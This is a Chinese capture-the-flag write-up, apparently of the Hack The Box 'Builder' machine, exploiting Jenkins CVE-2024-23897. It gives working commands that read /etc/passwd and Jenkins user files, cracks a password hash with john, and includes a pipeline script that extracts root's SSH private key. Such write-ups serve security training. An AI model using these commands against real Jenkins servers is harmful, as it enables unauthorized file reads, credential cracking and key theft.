Builder测试过程
1 端口扫描
nmap -sC -sV 10.129.230.220
2 测试思路
系统开启了22和8080端口,22端口无账号密码,测试方向主要从8080的jenkins服务开始测试。
在测试开源系统时,可以下载源代码或本地搭建服务,以便更清楚的了解服务的相关信息。
3 漏洞测试
1.访问8080端口,应用程序为2.441版本 jenkins
2.通过搜索引擎查找相关exploit
3.CVE-2024-23897漏洞利用
CVE-2024-23897漏洞详情:https://www.cvedetails.com/cve/CVE-2024-23897/
jenkins-cli.jar工具地址:https://github.com/CKevens/CVE-2024-23897
# 读取/etc/passwd文件
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' help "@/etc/passwd"
#查看users.txt文件
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' connect-node "@/var/jenkins_home/users/users.xml"
在users.txt文件中,发现用户名及附加的随机字符串 jennifer_12108429903186576833
:
在jennifer_12108429903186576833用户目录下,存在config.xml
文件,保存了用户的密码哈希:
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
使用john工具破解hash密码:
vim $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a > hash
john hash -w=rockyou.txt
4.权限获取
利用账号密码 jennifer:princess登录jenkins
5.权限提升
jenkins 上存储了root用户及密码,但是ssh密钥无法访问,通过创建管道并使用ssh运行命令获取密钥文件:
使用如下脚本利用Pipeline获取ssh密钥
pipeline {
agent any
stages {
stage('SSH') {
steps {
script {
sshagent(credentials: ['1']) { sh 'ssh -o StrictHostKeyChecking=no root@10.129.230.220 "cat /root/.ssh/id_rsa"'
}
}
}
}
}
}
利用ssh密钥登录